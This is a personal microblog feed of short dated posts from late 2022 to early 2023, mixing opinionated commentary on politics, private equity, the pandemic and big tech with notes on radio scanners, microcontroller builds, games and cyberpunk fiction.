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### ╒═════╣▒ 04/06/2023 @12:44 ▒╟──────────┘
> It's easy to improve efficiency if you don't care about how a system fails. I can improve the fuel-efficiency of every airplane in the sky right now: just have them drop their landing gear. It'll work brilliantly, but you don't want to be around when it starts to fail, brother....> If you do economics without doing politics, you're just imagining a perfectly spherical cow on a frictionless plane – it's a cute way to model things, but it's got limited real-world applicability. Yes, politics are squishy and hard to model, but that doesn't mean you can just incinerate them and do math on the dubious quantitative residue[.]«https://pluralistic.net/2023/03/28/imagine-a-horse/#perfectly-spherical-cows-of-uniform-density-on-a-frictionless-plane»¹

=> https://pluralistic.net/2023/03/28/imagine-a-horse/#perfectly-spherical-cows-of-uniform-density-on-a-frictionless-plane [1] https://pluralistic.net/2023/03/28/imagine-a-horse/#perfectly-spherical-cows-of-uniform-density-on-a-frictionless-plane



### ╒═════╣▒ 04/06/2023 @12:35 ▒╟──────────┘
> Whether you're burying a loved one, getting dialysis, getting your cat fixed or having your dog's nails trimmed, you are already likely to be patronizing a business that has been captured by private equity, where the service is worse, the prices are higher and the workers earn less for harder jobs. Everyone has a stake in financial regulation. We are *all* in this fight, except for the eminently guillotineable PE barons, and you know, *fuck those guys*.«https://pluralistic.net/2023/03/27/walmarts-jackals/#cheater-sizes»¹We really need to start unwinding deregulation and dialing up enforcement of our anti-trust laws.

=> https://pluralistic.net/2023/03/27/walmarts-jackals/#cheater-sizes [1] https://pluralistic.net/2023/03/27/walmarts-jackals/#cheater-sizes



### ╒═════╣▒ 04/05/2023 @19:07 ▒╟──────────┘
So, Google Glass, and Microsoft HoloLens were miserable failures but Apple's going to get it right? 😂


### ╒═════╣▒ 04/02/2023 @18:17 ▒╟──────────┘
Sometimes the old ways still work really well.  Cable lacing sorta per AC-21-99 wrangling my scanners.

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### ╒═════╣▒ 04/01/2023 @11:16 ▒╟──────────┘
«Violet Blue»¹ of the most excellent «Cybersecurity»² and «Pandemic»³ roundups has an article on how «Hollywood Pretends There Is No Pandemic»⁴ and it's another example on how protections from this deadly, disabling, ongoing pandemic have been available from the beginning for the privileged few while the rest of us are left to fend for ourselves.

=> https://www.patreon.com/violetblue/ [1] https://www.patreon.com/violetblue/
=> https://www.patreon.com/violetblue/posts?filters[tag]=Cybersecurity%20Roundups [2] https://www.patreon.com/violetblue/posts?filters[tag]=Cybersecurity%20Roundups
=> https://www.patreon.com/violetblue/posts?filters[tag]=Pandemic%20Roundups [3] https://www.patreon.com/violetblue/posts?filters[tag]=Pandemic%20Roundups
=> https://www.pestemag.com/featured-posts/hollywoodpretendsnopandemic-5phhj [4] https://www.pestemag.com/featured-posts/hollywoodpretendsnopandemic-5phhj



### ╒═════╣▒ 04/01/2023 @11:02 ▒╟──────────┘
Sometimes I think the kids are alright.«via»¹

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### ╒═════╣▒ 04/01/2023 @10:50 ▒╟──────────┘
A strong, enforced, national privacy law will do absolute wonders for our society as a whole.  Yes, it will probably traumatize most of the largest technology companies in the US but frankly, they deserve it.«https://pluralistic.net/2023/03/30/tik-tok-tow/»¹

=> https://pluralistic.net/2023/03/30/tik-tok-tow/ [1] https://pluralistic.net/2023/03/30/tik-tok-tow/



### ╒═════╣▒ 04/01/2023 @10:35 ▒╟──────────┘
I've been meaning to write a post about my thoughts of the need for more simplicity in our IT systems, largely based on why I've been slowly leaving behind containerized, cloud like systems and returning to more traditional ones but the folks over at the «37signals blog»¹ are beating me to it at a much larger scale. 

=> https://dev.37signals.com/bringing-our-apps-back-home/ [1] https://dev.37signals.com/bringing-our-apps-back-home/



### ╒═════╣▒ 03/31/2023 @22:01 ▒╟──────────┘
I'm low-key tempted to see if I can generate OpenGraph images for blog posts using Stable Diffusion...  It didn't take long for it to figure out my aesthetic.

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### ╒═════╣▒ 03/31/2023 @21:38 ▒╟──────────┘
We need a Congress that isn't absolutely useless.

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### ╒═════╣▒ 03/30/2023 @19:02 ▒╟──────────┘
Unchecked greed destroys everything...

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### ╒═════╣▒ 03/27/2023 @09:18 ▒╟──────────┘
If your software randomly interrupts me to ask for my feedback, which I'm assured is taken very seriously, know that I now hate your software.


### ╒═════╣▒ 03/26/2023 @23:14 ▒╟──────────┘
│ In-Reply-To: 03/26/2023 @22:47
But seriously, Kraftwerk makes me think of Molly floating somewhere deep inside Villa Straylight.


### ╒═════╣▒ 03/26/2023 @23:11 ▒╟──────────┘
│ In-Reply-To: 03/26/2023 @22:47
I think I have two cyberpunk dystopias in my head, both are narrated by William Gibson, but the early ones (probably Sprawl Trilogy) are soundtracked by Kraftwerk and Vangelis and look an awful lot like Bladerunner.  The later ones (late Bridge, early Bigend) start to get more punk and industrial, almost like something from the «Cyberpunk 2077 soundrack»¹. Not entirely sure what feels have settled in for Jackpot yet... «Never Fade Away»² into something more... visceral, maybe some «French punk»³.

=> https://www.youtube.com/watch?v=bG9ahw-5tj8&list=PLDisKgcnAC4SqX0mi1J5_gd7-hrIS5yJp&index=10 [1] https://www.youtube.com/watch?v=bG9ahw-5tj8&list=PLDisKgcnAC4SqX0mi1J5_gd7-hrIS5yJp&index=10
=> https://www.youtube.com/watch?v=qEhrZ2s0lSI&list=PLDisKgcnAC4SqX0mi1J5_gd7-hrIS5yJp&index=47 [2] https://www.youtube.com/watch?v=qEhrZ2s0lSI&list=PLDisKgcnAC4SqX0mi1J5_gd7-hrIS5yJp&index=47
=> https://www.youtube.com/watch?v=izovpaGOxcA&list=PLr1fy-iYjJ9fY9YF2-w2K_e9M69rtMJMq&index=2 [3] https://www.youtube.com/watch?v=izovpaGOxcA&list=PLr1fy-iYjJ9fY9YF2-w2K_e9M69rtMJMq&index=2



### ╒═════╣▒ 03/26/2023 @22:47 ▒╟──────────┘
This is such a good breakdown of «Kraftwerk»¹, the joy he has for the work is infectious.

=> https://www.youtube.com/watch?v=9spBqoc43yI [1] https://www.youtube.com/watch?v=9spBqoc43yI



### ╒═════╣▒ 03/26/2023 @19:19 ▒╟──────────┘
If Apple launches an AR headset are we thinking it's going to be the next Newton Message Pad or Lisa?


### ╒═════╣▒ 03/25/2023 @21:40 ▒╟──────────┘
I feel like if anything can be learned from the plague of the "gig economy" is that there is a market for an app to coordinate badge swiping carpools...

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### ╒═════╣▒ 03/25/2023 @20:59 ▒╟──────────┘
I am tremendously onboard projects like «this»¹.

=> https://www.kickstarter.com/projects/doctorow/red-team-blues-another-audiobook-that-amazon-wont-sell/ [1] https://www.kickstarter.com/projects/doctorow/red-team-blues-another-audiobook-that-amazon-wont-sell/


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### ╒═════╣▒ 03/25/2023 @20:49 ▒╟──────────┘
I got the 2U mount for my Uniden scanners the other day from «Alberta Radio Supply»¹, I am very happy with it, it cleaned up the rack in my workshop quite nicely.

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### ╒═════╣▒ 03/25/2023 @20:45 ▒╟──────────┘
Huh, I didn't know this.  Very cool. I do remember using SATAn and I still rely on software from «Wietse»¹ every day...

=> http://www.porcupine.org/wietse/ [1] http://www.porcupine.org/wietse/


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### ╒═════╣▒ 03/25/2023 @19:54 ▒╟──────────┘
> ...  Tik Tok is very nearly the only piece of software in years I can think of I remember anyone expressing they felt pleasure in using.The enshittification of the web to extract maximal profit continues aplomb.«via»¹

=> https://mastodon.social/@mcc/110074209352755838 [1] https://mastodon.social/@mcc/110074209352755838



### ╒═════╣▒ 03/22/2023 @09:46 ▒╟──────────┘
Frankly I didn't think my website was popular enough to be noticed by the scumbag web's host of crypto grifters and their spammers but my INBOX is letting me know that 'Team going-flying.com' has indeed made it.P.S.  Friends don't let friends buy crypto.  It's a scam all the way down.

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### ╒═════╣▒ 03/19/2023 @23:25 ▒╟──────────┘
We could learn a lot from this energy.

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### ╒═════╣▒ 03/16/2023 @15:59 ▒╟──────────┘
│ In-Reply-To: 03/02/2022 @11:08
So most of my newer designs these days use the ATmega328pb instead of the 328p but my CI container can't build the 328pb code... so I set about to fix it by «building and patching the upstream avr-libc distribution myself»¹.So far, it seems to work as frustrating as it is to have to work around «a bug from 2018»².

=> https://ssl.ub3rgeek.net/git/?p=containers.git;a=commitdiff;h=HEAD;hp=3d7c82fd856c5b199794566522841a4b6c3e2182 [1] https://ssl.ub3rgeek.net/git/?p=containers.git;a=commitdiff;h=HEAD;hp=3d7c82fd856c5b199794566522841a4b6c3e2182
=> https://savannah.nongnu.org/bugs/index.php?54652 [2] https://savannah.nongnu.org/bugs/index.php?54652



### ╒═════╣▒ 03/15/2023 @22:18 ▒╟──────────┘
«I gotta have that cowbell...»¹

=> https://www.youtube.com/watch?v=jlngu_uwvg8 [1] https://www.youtube.com/watch?v=jlngu_uwvg8



### ╒═════╣▒ 03/15/2023 @14:49 ▒╟──────────┘
«et tu?»¹

=> https://wilwheaton.tumblr.com/post/711877043357450240/macrolit-eeyore9990-toomanyfandomstocountcx [1] https://wilwheaton.tumblr.com/post/711877043357450240/macrolit-eeyore9990-toomanyfandomstocountcx



### ╒═════╣▒ 03/15/2023 @14:47 ▒╟──────────┘
I wonder if Forbes knows it is garbage and doesn't care because it's audience is also garbage?

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### ╒═════╣▒ 03/15/2023 @13:54 ▒╟──────────┘
«Learning from Silicon Valley Bank's apologists»¹> These bad takes reveal a *profoundly* out-of-touch elite, the spiritual descendants of the French aristos who went to the guillotine with sincerely baffled hearts, unable to imagine why anyone would be this angry at them.I wonder if we are any closer to having a «guillotine emoji»²...

=> https://pluralistic.net/2023/03/15/mon-dieu-les-guillotines/#ceci-nes-pas-une-bailout [1] https://pluralistic.net/2023/03/15/mon-dieu-les-guillotines/#ceci-nes-pas-une-bailout
=> https://www.going-flying.com/thoughts/1650722097.html [2] https://www.going-flying.com/thoughts/1650722097.html



### ╒═════╣▒ 03/11/2023 @11:35 ▒╟──────────┘
«"Multipass (I Have No Fire)" / Fifth Element Remix / OP-1»¹ 🔥

=> https://www.youtube.com/watch?v=OH66WDQBIr4 [1] https://www.youtube.com/watch?v=OH66WDQBIr4



### ╒═════╣▒ 03/11/2023 @11:03 ▒╟──────────┘
There *have* to be consequences.> Companies and institutions that need to be bailed out by the government when they fail, should be owned by the government.You can’t privatize the profit and socialize the losses.— Halli (@iamharaldur) «March 10, 2023»¹

=> https://twitter.com/iamharaldur/status/1634332933707243520?ref_src=twsrc%5Etfw [1] https://twitter.com/iamharaldur/status/1634332933707243520?ref_src=twsrc%5Etfw



### ╒═════╣▒ 03/10/2023 @21:26 ▒╟──────────┘
Yes, please!

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### ╒═════╣▒ 03/10/2023 @11:22 ▒╟──────────┘
I admit I'm a little surprised *how badly* the Bel Air did but not surprised that it did poorly.«https://kottke.org/16/01/a-small-2009-car-demolishes-a-1959-chevy-in-a-crash-test»¹

=> https://kottke.org/16/01/a-small-2009-car-demolishes-a-1959-chevy-in-a-crash-test [1] https://kottke.org/16/01/a-small-2009-car-demolishes-a-1959-chevy-in-a-crash-test



### ╒═════╣▒ 03/06/2023 @18:31 ▒╟──────────┘
As another round of folks flee the Twitmachine please make sure next location has an RSS feed.  💖


### ╒═════╣▒ 03/05/2023 @21:53 ▒╟──────────┘
> «Retweet of @sarasrabbithole by @GreatDismal»¹«Mar 5, 2023 at 19:51»²The CDC finally says, “Emerging evidence suggests that severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2), the virus that causes COVID-19, can have lasting effects on nearly every organ and organ system of the body weeks, months, and potentially years after infection”Oh, is that why I couldn't taste or smell for a year? /s

=> https://twitter.com/GreatDismal/status/1632544324071362561 [1] https://twitter.com/GreatDismal/status/1632544324071362561
=> https://twitter.com/GreatDismal/status/1632544324071362561 [2] https://twitter.com/GreatDismal/status/1632544324071362561



### ╒═════╣▒ 03/05/2023 @12:22 ▒╟──────────┘
I remember the first time I read Idoru and being enamored with the Walled City.  The language used to describe its creation, how the creators "... *turned the killfile inside out, and vanished inside of it*", was hugely evocative.  Over the years I learned more about the place that inspired it and now I can't help but see it in basically every cyberpunk environ, from Ghost in The Shell, to Blade Runner, to Night City.It has always felt in part a hopeful testament to what people can accomplish and a sad lesson in what people are capable of inflicting on other people.«Kowloon Walled City, China, c.1989»¹via: «wilwheaton: [Reblogged from grossnational] Kowloon Walled City, China, ...»²

=> http://www.dailymail.co.uk/news/article-2139914/A-rare-insight-Kowloon-Walled-City.html [1] http://www.dailymail.co.uk/news/article-2139914/A-rare-insight-Kowloon-Walled-City.html
=> https://wilwheaton.tumblr.com/post/710920166095093760/grossnational-kowloon-walled-city-china [2] https://wilwheaton.tumblr.com/post/710920166095093760/grossnational-kowloon-walled-city-china


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### ╒═════╣▒ 03/03/2023 @21:47 ▒╟──────────┘
From the *who-would-have-guessed* department:«Landlords lying to try to avoid paying taxes»¹

=> https://www.theguardian.com/society/2023/mar/03/landlords-accused-of-making-up-stories-in-campaign-to-change-tax-rules [1] https://www.theguardian.com/society/2023/mar/03/landlords-accused-of-making-up-stories-in-campaign-to-change-tax-rules



### ╒═════╣▒ 03/03/2023 @21:42 ▒╟──────────┘
│ In-Reply-To: 02/25/2023 @13:52
Putting the save games in *%LOCALAPPDATA%\FactoryGame* instead of *%USERPROFILE%\Saved Games\FactoryGame* *fucking sucks* though.  The latter is automatically backed up by Windows File History, the former is *NOT*.Needless to say, I haven't wanted to play much after shotgunning 20 hours of my life because the save game management UI sucks and it turns out the save games aren't automatically backed up by Windows.

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### ╒═════╣▒ 03/03/2023 @11:10 ▒╟──────────┘
> «Retweet of @thebirdunion by @jortsthecat»¹«Mar 2, 2023 at 19:32»²«This!»³ Many of us came to Audubon (and stay here) because we deeply care about the work. Unionizing is a sign that we’re not only dedicated to our important mission but also to each other. The best way forward for the birds and the people who protect them is with a union contract.Want a safe place to work with a healthy work/life balance?  Then *you* want a union!«graphic»⁴

=> https://twitter.com/jortsthecat/status/1631452448136241153 [1] https://twitter.com/jortsthecat/status/1631452448136241153
=> https://twitter.com/jortsthecat/status/1631452448136241153 [2] https://twitter.com/jortsthecat/status/1631452448136241153
=> https://twitter.com/nrdcunion/status/1631424794540351489/ [3] https://twitter.com/nrdcunion/status/1631424794540351489/
=> https://justseeds.org/graphic/you-dont-have-to-hate-your-job-to-want-a-union/ [4] https://justseeds.org/graphic/you-dont-have-to-hate-your-job-to-want-a-union/


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### ╒═════╣▒ 03/03/2023 @09:15 ▒╟──────────┘
While I think that improved natural language processing on the front end of search engines could be a good thing — insofar as extracting a better understanding of what the user is looking for is the goal, it is really funny to watch the «rapidly evolving fad chasing»¹ from the search monopolists.

=> https://pluralistic.net/2023/02/16/tweedledumber/#easily-spooked [1] https://pluralistic.net/2023/02/16/tweedledumber/#easily-spooked



### ╒═════╣▒ 03/03/2023 @09:07 ▒╟──────────┘
From the *any-sufficiently-advanced-technology* department:«https://www.jwz.org/blog/2023/03/ai-is-magic/»¹Also, from a mathematician's perspective:«https://writings.stephenwolfram.com/2023/02/what-is-chatgpt-doing-and-why-does-it-work/»²

=> https://www.jwz.org/blog/2023/03/ai-is-magic/ [1] https://www.jwz.org/blog/2023/03/ai-is-magic/
=> https://writings.stephenwolfram.com/2023/02/what-is-chatgpt-doing-and-why-does-it-work/ [2] https://writings.stephenwolfram.com/2023/02/what-is-chatgpt-doing-and-why-does-it-work/



### ╒═════╣▒ 03/02/2023 @20:20 ▒╟──────────┘
Oh great, the «CADT»¹ at Docker decided to try to get prettier on their output which completely broke a pile of build scripts that expect some form of sanity in the output of *docker build*.  I feel like I just bitched about this not all that long ago when they started throwing *advertising* in the output...

=> https://www.jwz.org/doc/cadt.html [1] https://www.jwz.org/doc/cadt.html



### ╒═════╣▒ 03/02/2023 @11:33 ▒╟──────────┘
Just a tiny reminder on this, the 1097th of March, 2020... «shit is still not good out there»¹.

=> https://www.patreon.com/violetblue?filters[tag]=Pandemic%20Roundups [1] https://www.patreon.com/violetblue?filters[tag]=Pandemic%20Roundups


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### ╒═════╣▒ 03/01/2023 @21:18 ▒╟──────────┘
I feel like I have «this feeling»¹ at least once a day...> And confidential to Substack: if I have clicked into a newsletter on the web, blocking my view of the thing I’m trying to read with a subscription pop-up isn’t going to make me more likely to subscribe. It just means I’m probably not going to read the newsletter.Of course it isn't like anything made for the web by a company in the last 15 years has actually been any *good*...

=> https://www.theverge.com/2023/2/28/23618804/google-facebook-login-ads-web-design-hell [1] https://www.theverge.com/2023/2/28/23618804/google-facebook-login-ads-web-design-hell



### ╒═════╣▒ 03/01/2023 @19:48 ▒╟──────────┘
«Always. Reblog.»¹

=> https://wilwheaton.tumblr.com/post/710579425020903424/jason-dean-the-rocky-horror-picture-show-1975 [1] https://wilwheaton.tumblr.com/post/710579425020903424/jason-dean-the-rocky-horror-picture-show-1975


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## February
### ╒═════╣▒ 02/28/2023 @17:06 ▒╟──────────┘
Still standing, «Violet's Pandemic Roundup»¹ continues to deliver week after week.

=> https://www.patreon.com/posts/pandemic-roundup-79089154 [1] https://www.patreon.com/posts/pandemic-roundup-79089154


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### ╒═════╣▒ 02/26/2023 @15:11 ▒╟──────────┘
> «Retoot of Hrefna (DHC) (@hrefna@hachyderm.io) by Molly White (@molly0xfff@hachyderm.io)»¹This idea that somehow search engines _can_ arbitrate "truth" is just so… not how any of this works or could even conceivably work.The reason that search engines "backstop" with wikipedia is because wikipedia is a giant curated and mostly-audience-appropriate collection of knowledge.Knowing what is "true" is so incredibly nontrivial.This with the reminder that in spite of a lot of hard work by a lot of people for a long time there is still an awful lot of utter bullshit espoused by Wikipedia.Now remember that ML algorithms like ChatGPT have been trained with this as a dataset.

=> https://hachyderm.io/@hrefna/109932271552812881 [1] https://hachyderm.io/@hrefna/109932271552812881



### ╒═════╣▒ 02/26/2023 @14:48 ▒╟──────────┘
I really need to suck it up and get an ATMEL-ICE.  Sometimes there is just no substitution for a debugger and writing a test harness to run your microcontroller code on a full blown computer is a little more work than printf.

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### ╒═════╣▒ 02/25/2023 @19:31 ▒╟──────────┘
In what information people are afraid of, you find their true selves.

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### ╒═════╣▒ 02/25/2023 @13:52 ▒╟──────────┘
The automation and logistic management systems in Factorio are far deeper and more complex than in Satisfactory but you can't compare the views.

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### ╒═════╣▒ 02/24/2023 @22:13 ▒╟──────────┘
«"If all the 'entrepreneurs' I worship are just laying traps for the unwary, and if I am sometimes unwary, then I'm cheering on the authors of my future enduring misery."»¹Yes.

=> https://pluralistic.net/2023/02/24/passive-income/#swiss-cheese-security [1] https://pluralistic.net/2023/02/24/passive-income/#swiss-cheese-security



### ╒═════╣▒ 02/22/2023 @08:43 ▒╟──────────┘
I saw someone on Mastodon bemoaning needing to clean out their home directory because some stuff was super old.  They provided the following.```
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apollo@08:41:15 1.5T ~ >ls -lat | awk '{print $6 " " $7 " " $8}' | tail -n 1

Jun 13 1998



### ╒═════╣▒ 02/18/2023 @20:40 ▒╟──────────┘
I am sure the ~146 error elements returned by the Twitter UserTweets GraphQL API endpoint are completely normal and not a symbol of a smoldering fire working its way deep through the Infrastructure over there.  Based on the response headers it took 995ms to generate nearly 32KB of JSON to load... 40 tweets.```
None

╒═════╣▒ 02/15/2023 @10:22 ▒╟──────────┘

The fact that you can't set Apple Watch notifications per contact or per group basically renders it useless. I don't want just anyone to be able to interrupt me.

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╒═════╣▒ 02/10/2023 @13:01 ▒╟──────────┘

There is something relaxing about building hardware to blink LEDs.

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[1] https://shifthappens.site

╒═════╣▒ 02/07/2023 @15:13 ▒╟──────────┘

I don't usually get excited about Kickstarters, but «Shift Happens»¹ looks rad and I'm backer #733.«The history of keyboards – from early typewriters to modern mechanical marvels – told in two beautiful volumes.»²

[2] https://www.kickstarter.com/projects/mwichary/shift-happens

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[1] https://blog.archive.org/2023/02/07/our-digital-history-is-at-risk/

╒═════╣▒ 02/07/2023 @13:29 ▒╟──────────┘

«Our Digital History Is at Risk»¹> We need to empower libraries by ensuring that they have the same rights with respect to digital materials that they have in the physical world.Truth.

╒═════╣▒ 02/07/2023 @10:25 ▒╟──────────┘

I mean... yes. 🔥 it all down and salt the Earth.> ...meaning that facebook intentionally deceived everyone involved specifically to secure more advertising dollars. so yeah, fb is evil and… probably should be stopped.«via»¹

[1] https://wilwheaton.tumblr.com/post/708603658441523200

╒═════╣▒ 02/06/2023 @21:00 ▒╟──────────┘

An interesting distillation of the current techno-fad. I think the best case scenario of things like ChatGPT is likely to be improvements in natural language processing allowing for better connections to be made between what someone wants and a large unstructured dataset.In the mean time...> ChatGPT is, in technical terms, a 'bullshit generator'. If a generated sentence makes sense to you, the reader, it means the mathematical model has made sufficiently good guess to pass your sense-making filter....hopefully it uses less power than web3.«We come to bury ChatGPT, not to praise it.»¹ via «The Bullshit Fountain»²

[1] https://www.danmcquillan.org/chatgpt.html

[2] https://www.jwz.org/blog/2023/02/the-bullshit-fountain/

╒═════╣▒ 02/05/2023 @19:46 ▒╟──────────┘

The «breakdown»¹ over at 37signals about their cloud spend and why they are moving out of it is in line with what I see with a lot of customers at $JOB. Using the cloud is *never* the cheapest option. It never has been.

[1] https://dev.37signals.com/our-cloud-spend-in-2022/

╒═════╣▒ 02/04/2023 @23:07 ▒╟──────────┘

Lets talk about how *obnoxious* this shit is. I have subscribed to Apple Music and subsequently cancelled it. I have disabled it via Settings and a custom Profile installed on my phone. In spite of these very clear and deliberate interactions Apple still insists on hawking their mediocre services at me AND insists on Facebook levels of UX fuckery, putting the dismiss tap target above the Start target so it can never, ever, *ever* successfully be activated.Bravo you merry band of garbage people. I truly hope to live to see your company melted down for scrap after a John Sculley-esque spiral back into impotence and irrelevance. You have forgotten the face of your fathers.

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[1] https://www.nytimes.com/2023/01/30/us/politics/biden-covid-public-health-emergency.html

January

╒═════╣▒ 01/31/2023 @10:04 ▒╟──────────┘

I'm not entirely sure what's going on here but it doesn't say "«lets end the public health state of emergency»¹"...

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[1] https://blog.jim-nielsen.com/2023/nothings-bulletproof/

╒═════╣▒ 01/30/2023 @13:00 ▒╟──────────┘

A «tale of spec changes causing broken images»¹ is a huge part of why I still limit myself to JPEG, GIF and PNG.

╒═════╣▒ 01/27/2023 @09:12 ▒╟──────────┘

Mozilla's website is utter garbage. They should be ashamed of themselves. Dear Future Me, you are looking for «https://ftp.mozilla.org/pub/firefox/»¹

[1] https://ftp.mozilla.org/pub/firefox/

╒═════╣▒ 01/22/2023 @08:57 ▒╟──────────┘

So my NAS has been a bit slow lately and the culprit seemed to be smbd doing between 600 - 1000 write IOPS all day long. Discovered that Time Machine on my laptop was the culprit. After screwing around with it a bunch I eventually just deleted the entire backup from disk and restarted. It seems *much* happier now.

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[1] https://brandnewbox.com/inthestacks/

╒═════╣▒ 01/19/2023 @14:19 ▒╟──────────┘

Love that my iPhone is asking if I trust my computer *every single time* I sync it now. 🙄

╒═════╣▒ 01/10/2023 @18:37 ▒╟──────────┘

«This is perfect.»¹

╒═════╣▒ 01/09/2023 @09:16 ▒╟──────────┘

A system can never truly stabilize. This is why utopias are nonsense: even if you design the most perfect society in which everything works brilliantly, it will still have to cope with war and meteors and pandemics and other factors beyond your control. A system can’t just work well, it has to fail well....> Assuming nothing will go wrong doesn’t make you an optimist, it makes you an asshole. A dangerous asshole. Assuming nothing will go wrong is why they didn’t put enough lifeboats on the Titanic.«https://pluralistic.net/2023/01/09/watch-the-surpluses/#exogenous-shocks»¹

[1] https://pluralistic.net/2023/01/09/watch-the-surpluses/#exogenous-shocks

╒═════╣▒ 01/06/2023 @13:07 ▒╟──────────┘

Can we *please* stop plugging absolutely everything into the fucking Internet now?«https://samcurry.net/web-hackers-vs-the-auto-industry/»¹

[1] https://samcurry.net/web-hackers-vs-the-auto-industry/

╒═════╣▒ 01/03/2023 @20:11 ▒╟──────────┘

Twitch's UI is so trash. It's like 4 clicks to unfollow someone. Why isn't there just a list somewhere with a X button next to the name I can click?

╒═════╣▒ 01/02/2023 @09:27 ▒╟──────────┘

Shit like «this»¹ is a nice sentiment and I'm all for it for the very privileged few of us that it would work for; however, the fact is that 99.999% of the Internet are people *who do not give a single fuck about building shit for the Internet* and just want to share cat pics and form communities.*We* built this trash fire and invited everyone to come join us, then *we* shit all over their living rooms and ruined their democracies and now it's up to them to build their own little islands to push back against our hubris?No, I think *we* need to do better somehow.

[1] https://tantek.com/2023/001/t1/own-your-notes

╒═════╣▒ 01/01/2023 @22:56 ▒╟──────────┘

«This is an amazing synopsis and call to action»¹. It is really easy to point and say *shits fucked*, so much harder to do something about it. We have to do something about it or we *will lose* the republic.

[1] https://twitter.com/fuckyouiquit/status/1609722891838578689

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[1] https://tedgioia.substack.com/p/what-can-we-learn-from-barnes-and

╒═════╣▒ 01/01/2023 @16:10 ▒╟──────────┘

It's really nice to see what happens when someone if finally put in charge of a company that cares about what the company's actual mission is other than 'extract maximum shareholder value from consumers.'More leaders and less MBAs running companies in 2023, please.«https://tedgioia.substack.com/p/what-can-we-learn-from-barnes-and»¹

╒═════╣▒ 01/01/2023 @15:41 ▒╟──────────┘

What the *fuck* is this and why won't it go away? Why can't I turn it off?Dear all software developers, no one ever wants *more* notifications. Especially ones with *zero* value. Please *stop* this.

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╒═════╣▒ 12/31/2022 @19:51 ▒╟──────────┘

Not only is this some '*be born rich you stupid poor*' bullshit, putting 3% down on a $450,000 mortgage is what we called *predatory lending* in the 2008 housing crisis so maybe don't do that.

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[1] https://thehistoryofrome.typepad.com/revolutions_podcast/2022/12/final-episode-adieu-mes-amis.html

2022

December

╒═════╣▒ 12/31/2022 @10:09 ▒╟──────────┘

Been a fan of Mike Duncan since The History of Rome. Very excited for what comes next, but if you are interested in narrative history and wonder if Revolutions is for you, his «final episode»¹ contains a good synopsis of what you might be in for.10/10, no notes, Liberté, Egalité, Fraternité.

╒═════╣▒ 12/30/2022 @14:21 ▒╟──────────┘

│ In-Reply-To: 12/23/2022 @17:39

All of Regina's jobs done and all the NCPD scanner hustles done. I'm really enjoying this V's playstyle. Breach Protocol + Contagion on the way in and hip firing a Fenrir makes very short work of most encounters. Ping + Short Circuit and a silenced Nue means I can be a little more stealthy if I desire. I want to switch to a smart SMG soon though.

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╒═════╣▒ 12/28/2022 @14:50 ▒╟──────────┘

This 100% evokes David Bamber as Mr. Collins in my head.Also if you're wondering the 1995 Jennifer Ehle / Colin Firth TV mini-series is the *correct* Pride and Prejudice adaptation.

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╒═════╣▒ 12/23/2022 @17:39 ▒╟──────────┘

First play through of Cyberpunk 2077 I was so anxious to get through Act 1 that I basically did only main jobs all the way until the map opened up. This time I am being a lot more... methodical. Certainly changes the tone a bit.

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╒═════╣▒ 12/22/2022 @09:37 ▒╟──────────┘

Getting ready for the holiday break is a bit of a struggle, even on 750Mbps symmetric fiber...

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╒═════╣▒ 12/20/2022 @11:00 ▒╟──────────┘

Carl Sagan. Absolute. Legend. Prescient and brilliant.

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╒═════╣▒ 12/20/2022 @09:17 ▒╟──────────┘

As we move into the holiday season and people start gathering it's probably worth mentioning that it would be great if you don't kill your loved ones with one of the plagues currently circulating during this, the third year of a global pandemic. Thanks.

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[1] https://neil-gaiman.tumblr.com/post/704121273675087872/better-failure-for-social-media

╒═════╣▒ 12/19/2022 @21:45 ▒╟──────────┘

«[Reblogged from mostlysignssomeportents] neil-gaiman: Better failure for social media»¹Worth reading.

╒═════╣▒ 12/19/2022 @19:40 ▒╟──────────┘

Man, I have some real feels when one of our robots goes to sleep...

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╒═════╣▒ 12/18/2022 @22:25 ▒╟──────────┘

Remind me again why socialism is undesirable? Oh yeah, it rejects the ultra-wealthy as they are a cancer on the public good.

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╒═════╣▒ 12/18/2022 @22:21 ▒╟──────────┘

I am a bit young for Twilight Zone, however every time I read it in my head it sounds like Rod Serling's voice and cadence.

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╒═════╣▒ 12/18/2022 @20:03 ▒╟──────────┘

This.«via»¹

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╒═════╣▒ 12/18/2022 @19:22 ▒╟──────────┘

Can you believe that people tell me I am hard to shop for?

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[1] https://wilwheaton.tumblr.com/post/703685875481149440/junkfoodcinemas-tron-1982-dir-steven-lisberger

╒═════╣▒ 12/15/2022 @12:08 ▒╟──────────┘

Tron had such a solid aesthetic...«via»¹

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[1] https://kottke.org/22/12/best-photos-nasa-artemis-mission

╒═════╣▒ 12/14/2022 @15:12 ▒╟──────────┘

«These images»¹ are stunning and this work is so important if only because sometimes we need to feel small and alone. It also shows us what we can do when we work together, and support each other, not for profit, or nationalism, or personal glory, but for the good of all human kind.*Everything* that has ever been wrought by human hands — and *everyone* who has ever lived is in this picture.

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[1] https://www.npr.org/2022/12/11/1142099805/indoor-masking-advised-washington-california-new-york

╒═════╣▒ 12/14/2022 @08:48 ▒╟──────────┘

I still don't understand the hand-wringing and *urging* instead of actual *action*. Public health is one of the things that we specifically have a government for and all we get is... «milquetoast»¹ pleading and outright «gaslighting»².tl;dr, it's still a pandemic out there. It's getting worse because hope is not a strategy. Go read Violet Blue's «Pandemic Roundup»³ and wear a mask. Try to stay safe this holiday season.(maps «via»⁴ and «via»⁵)

[2] https://www.npr.org/sections/health-shots/2022/09/20/1123883468/biden-pandemic-over-complicates-fight

[3] https://www.patreon.com/posts/pandemic-roundup-75658604

[4] https://covid.cdc.gov/covid-data-tracker/#county-view?list_select_state=all_states&list_select_county=all_counties&data-type=Risk

[5] https://www.cdc.gov/flu/weekly/usmap.htm

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[1] https://www.jwz.org/blog/2022/12/you-shut-the-fuck-up-chappelle-said-as-the-crowd-booed-the-billionaire/

╒═════╣▒ 12/12/2022 @20:21 ▒╟──────────┘

It is nice seeing more and more people leave Twitter but I can't help but wonder how long until the one or two big mastodon instances getting most of the refugees fall apart and everyone goes to one of the new walled garden startups.

╒═════╣▒ 12/12/2022 @18:14 ▒╟──────────┘

Remember, even if you're a apartheid profiting space Karen with a social media company the Internet never forgets.«via»¹, «via»².

[2] https://twitter.com/GreatDismal/status/1602397193310437376

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╒═════╣▒ 12/11/2022 @17:51 ▒╟──────────┘

Fascist. The word you were looking for, New York Times, was fascist. This milquetoast excuse for journalism is indicative of the rot in your reporting that led me to cancel my subscription. He is tweeting wild conspiracy theories and calling for the prosecution of public health officials. He has been very clear about where he stands.

